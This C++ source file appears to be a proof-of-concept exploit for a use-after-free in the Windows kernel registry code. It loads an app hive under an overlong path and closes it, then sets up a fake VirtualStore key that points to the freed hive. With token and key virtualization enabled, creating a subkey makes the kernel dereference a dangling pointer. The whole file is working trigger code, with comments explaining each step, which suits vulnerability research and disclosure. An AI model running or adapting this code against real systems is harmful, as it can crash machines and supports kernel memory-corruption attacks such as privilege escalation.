#define WIN32_NO_STATUS
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>

#pragma comment(lib, "ntdll")

typedef struct _RTL_RELATIVE_NAME {
  UNICODE_STRING RelativeName;
  HANDLE         ContainingDirectory;
  void*          CurDirRef;
} RTL_RELATIVE_NAME, * PRTL_RELATIVE_NAME;

typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION {
  ULONG   VirtualTarget : 1; // Tells if the key is a virtual target key.
  ULONG   VirtualStore : 1;  // Tells if the key is a virtual store key.
  ULONG   VirtualSource : 1; // Tells if the key has been virtualized at least one (virtual hint)
  ULONG   Reserved : 29;
} KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION;

extern "C" {

NTSTATUS NTAPI NtLoadKeyEx(
  POBJECT_ATTRIBUTES   DestinationKeyName,
  POBJECT_ATTRIBUTES   HiveFileName,
  ULONG                Flags,
  HANDLE               TrustClassKey,
  PHANDLE              EventHandle,
  ACCESS_MASK          DesiredAccess,
  PHANDLE              KeyHandle,
  ULONG                Reserved
);

BOOLEAN NTAPI RtlDosPathNameToRelativeNtPathName_U(
  PCWSTR DosFileName,
  PUNICODE_STRING NtFileName,
  PWSTR* FilePath,
  PRTL_RELATIVE_NAME RelativeName
);

NTSTATUS NTAPI RtlInitUnicodeStringEx(
  UNICODE_STRING* DestinationString,
  PCWSTR SourceString
);

}  // extern "C"

BOOL EnableKeyVirtualization(HKEY hkey,
                             BOOL VirtualTarget,
                             BOOL VirtualStore,
                             BOOL VirtualSource) {

  KEY_SET_VIRTUALIZATION_INFORMATION VirtInfo;
  VirtInfo.VirtualTarget = VirtualTarget;
  VirtInfo.VirtualStore = VirtualStore;
  VirtInfo.VirtualSource = VirtualSource;
  VirtInfo.Reserved = 0;

  NTSTATUS Status = NtSetInformationKey(hkey,
                                        KeySetVirtualizationInformation,
                                        &VirtInfo,
                                        sizeof(VirtInfo));

  return NT_SUCCESS(Status);
}

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

BOOL LoadHiveUnderPath(wchar_t* hive_path, const wchar_t* registry_path, PHKEY hkey) {
  UNICODE_STRING HivePath;
  NTSTATUS NtStatus = RtlInitUnicodeStringEx(&HivePath, hive_path);
  if (!NT_SUCCESS(NtStatus)) {
    printf("RtlInitUnicodeStringEx failed with error %x\n", NtStatus);
    return FALSE;
  }

  UNICODE_STRING NtHivePath;
  RTL_RELATIVE_NAME RelativeName;
  if (!RtlDosPathNameToRelativeNtPathName_U(HivePath.Buffer, &NtHivePath, NULL, &RelativeName)) {
    printf("RtlDosPathNameToRelativeNtPathName_U failed\n");
    return FALSE;
  }

  UNICODE_STRING RegistryHivePath;
  RtlInitUnicodeString(&RegistryHivePath, registry_path);

  OBJECT_ATTRIBUTES DestinationKeyName, HiveFileName;
  InitializeObjectAttributes(&DestinationKeyName, &RegistryHivePath, 0, NULL, NULL);
  InitializeObjectAttributes(&HiveFileName, &NtHivePath, 0, NULL, NULL);

  NtStatus = NtLoadKeyEx(&DestinationKeyName,
                         &HiveFileName,
                         REG_APP_HIVE,
                         NULL,
                         NULL,
                         GENERIC_ALL,
                         (PHANDLE)hkey,
                         0);

  if (!NT_SUCCESS(NtStatus)) {
    printf("NtLoadKeyEx failed with error %x\n", NtStatus);
    return FALSE;
  }

  return TRUE;
}

int wmain(int argc, wchar_t** argv) {
  if (argc != 2) {
    wprintf(L"Usage: %s <hive file>\n", argv[0]);
    return 1;
  }

  //
  // Load an app hive under a name longer than 50 characters, and immediately
  // close it, leading to its unloading and triggering the bug.
  //

  HKEY hkey;
  if (!LoadHiveUnderPath(argv[1],
                         L"\\Registry\\A\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
                         &hkey)) {
    printf("Couldn't load the input hive\n");
    return 1;
  }

  RegCloseKey(hkey);

  //
  // Create a fake virtual key structure under VirtualStore, that will translate
  // to the path of our previously loaded app hive as the 'real key'.
  //

  LONG st = RegCreateKeyExA(HKEY_CURRENT_USER,
                            "Software\\Classes\\VirtualStore\\A\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
                            0,
                            NULL,
                            REG_OPTION_VOLATILE,
                            KEY_ALL_ACCESS,
                            NULL,
                            &hkey,
                            NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExA failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for our process and the virtual store key.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  EnableTokenVirtualization(hToken, TRUE);
  EnableKeyVirtualization(hkey,
                          /*VirtualTarget=*/TRUE,
                          /*VirtualStore=*/ FALSE,
                          /*VirtualSource=*/FALSE);

  //
  // Try to create a key under the virtual store, which triggers a code path in
  // the kernel that translates it to a 'real' path and traverses it. In the
  // process, a dangling pointer to the freed hive structure is accessed.
  //

  st = RegCreateKeyExA(hkey,
                       "Test",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hkey,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExA failed with error %d\n", st);
    return 1;
  }

  printf("Done!\n");

  return 0;
}